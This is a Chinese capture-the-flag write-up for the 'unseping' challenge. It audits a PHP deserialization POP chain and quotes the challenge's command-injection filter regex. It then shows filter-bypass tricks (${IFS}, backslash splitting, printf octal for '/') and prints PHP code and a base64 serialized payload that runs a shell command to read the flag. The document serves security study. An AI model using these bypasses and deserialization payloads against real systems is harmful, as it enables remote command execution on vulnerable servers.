攻防世界 unseping笔记

代码审计

pop链

__wakeup()->waf()->__destruct()->ping()->exec()

让$method=ping,中间有call_user_func_array(array($this, $this->method), $this->args);

 

call_user_func_array(callable $callback, array $param_array): mixed

🔹 参数

  1. $callback(必填):要调用的函数或方法,可以是:
    • 字符串(函数名或类的静态方法 "ClassName::method"
    • 数组([$object, "method"]["ClassName", "method"]
    • 匿名函数(Closure)
  2. $param_array(必填):包含传递给函数的参数的数组。

所以$args必须是数组

if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {

用${IFS}代替空格,字符串加\绕过,/用二进制编码$(printf${IFS}"\57")绕过

构造payload

<?php
class ease{
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }

}
$a=new ease("ping",array('more${IFS}fl\ag_1s_here$(printf${IFS}"\57")f*'));
$b=base64_encode(serialize($a));
echo $b;

payload

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0NToibW9yZSR7SUZTfWZsXGFnXzFzX2hlcmUkKHByaW50ZiR7SUZTfSJcNTciKWYqIjt9fQ==

 运行得到flag

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值